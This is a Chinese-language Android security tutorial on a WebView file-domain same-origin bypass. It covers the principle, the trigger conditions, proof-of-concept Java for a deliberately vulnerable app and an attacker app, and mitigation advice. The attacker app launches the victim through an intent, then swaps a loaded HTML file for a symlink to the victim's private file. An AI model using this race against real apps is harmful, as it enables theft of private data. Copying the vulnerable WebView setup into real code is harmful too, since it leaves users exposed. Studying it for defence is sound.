Webview File域同源策略绕过漏洞

  一个比较老的漏洞,不能远程利用,只能通过Malicious App来攻击。

一、漏洞原理

1、漏洞原理

  为了说明漏洞原理,这儿假设用户安装了两个App,第一个是攻击的App,即Benign App,另一个是Malicious App,也就是攻击者App。首先,由于Android沙箱机制的限制,Malicious App是不能访问Benign App的私有目录的。但是,如果Malicious App有了一个Webview,并且整个webview对外暴露,并且允许加载File域。那么,在Malicious App中设计一个File,并且在File中包含JS代码。那么,当Benign App加载了整个File之后,Malicious App把这个File删除。然后把Benign App的私有文件软链接到这个File,即创建了私有文件的快捷方式。此时,由于读取文件的操作实际上Benign App自己做的,所以能够读取私有文件。那么问题出在哪?就是File中的JS代码,JS文件虽然已经被删除,但是在File被删除前,JS代码已经加载。这样利用时间差,就可以读取私有文件了。

Created with Raphaël 2.1.0 Malicious App传递通过Intent Uri启动Benign App File种包含的JS设置延迟执行代码,延迟时间t1 Malicious App在benign App加载完File后删除File并软链接 延迟执行的JS代码读取到了Benign App的私有文件

2、漏洞触发条件

  • WebView没有禁止使用file域;
  • WebView打开了对JavaScript的支持;

二、PoC代码

  • Benign App示例:
 package com.example.webviewfiledemo;

import java.io.FileOutputStream;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.webkit.JsResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.widget.Toast;

public class MainActivity extends Activity {
    private WebView webView;
    private Uri mUri;
    private String url;
    String mUrl1 = "file:///android_asset/html/attack_file.html";
    String mUrl2 = "file:///android_asset/html/test.html";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        webView = (WebView) findViewById(R.id.webview);
        webView.getSettings().setJavaScriptEnabled(true);
        webView.addJavascriptInterface(new JSInterface(), "jsInterface");
        webView.getSettings().setAllowFileAccessFromFileURLs(false);
        // webView.getSettings().setAllowFileAccess(false);
        writeFileData("private.txt","被攻击的App的私有文件");
        webView.setWebChromeClient(new WebChromeClient() {
            @Override
            public boolean onJsAlert(WebView view, String url, String message,
                    JsResult result) {
                // Required functionality here
                return super.onJsAlert(view, url, message, result);
            }
        });

        Intent i = getIntent();
        if (i != null) {
            mUri = i.getData();
        }
        if (mUri != null) {
            url = mUri.toString();
        }
        if (url != null) {
            webView.loadUrl(url);
        }
    }

    //向指定的文件中写入指定的数据  
    public void writeFileData(String filename, String message){  
        try {  
           FileOutputStream fout = openFileOutput(filename, MODE_PRIVATE);//获得FileOutputStream  
           //将要写入的字符串转换为byte数组  
           byte[]  bytes = message.getBytes();  
           fout.write(bytes);//将byte数组写入文件  
           fout.close();//关闭文件输出流  
       } catch (Exception e) {  
           e.printStackTrace();  
       }  
    } 

    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(),
                            "onButtonClick: text = " + str, Toast.LENGTH_LONG)
                            .show();
                }
            });

            return "This text is returned from Java layer.  js text = " + text;
        }

        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = "
                    + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str,
                            Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}
  • Malicious App实例
package com.example.attackwebview;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;

public class MainActivity extends Activity {
    public final static String HTML = 
            "" +
            "Wait a few seconds." + 
            ""+
            "";

    public static String MY_TMP_DIR;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();
        doit();
    }

    public void doit() {
        String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";
        try {
            cmdexec("mkdir " + MY_TMP_DIR);
            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
            cmdexec("chmod -R 777 " + MY_TMP_DIR);
            Thread.sleep(1000);
            invokeVulnAPP("file://" + HTML_PATH);
            Thread.sleep(6000);
            cmdexec("rm " + HTML_PATH);
            cmdexec("ln -s " + "/data/data/com.example.webviewfiledemo/files/private.txt" + " " + HTML_PATH);
        } catch (Exception e) {
            // TODO: handle exception
        }

    }

    public void invokeVulnAPP(String url) {
        try {
            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));
            intent.addCategory(Intent.CATEGORY_LAUNCHER); 
            intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");
            startActivity(intent);
        } catch (Exception e) {
            // TODO: handle exception
        }
    }

    public void cmdexec(String cmd) {
        try {
            String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };
            Runtime.getRuntime().exec(tmp);
        } catch (Exception e) {
            // TODO: handle exception
        }
    }

}
  • 结果实例
    Webview File域同源策略绕过漏洞_第1张图片

三、开发建议

  • 将不必要导出的组件设置为不导出

如果应用的组件不必要导出,建议显式设置所注册组件的“android:exported”属性为false;

  • 如果需要导出组件,禁止使用File域

如果应用的需要导出包含WebView的组件,建议禁止使用File域协议:

myWebView.getSettings. setAllowFileAccess(false);
  • 如果需要使用File协议,禁止File协议调用JavaScript

    如果应用的WebView需要使用File域协议,建议禁止File域协议调用JavaScript:

myWebView.getSettings. setJavaScriptEnabled(false);

参考:
[1]http://www.droidsec.cn/webview-file%E5%9F%9F%E5%90%8C%E6%BA%90%E7%AD%96%E7%95%A5%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%E6%B5%85%E6%9E%90/
[2]http://blog.csdn.net/jltxgcy/article/details/50678304#quote

你可能感兴趣的:(Android安全)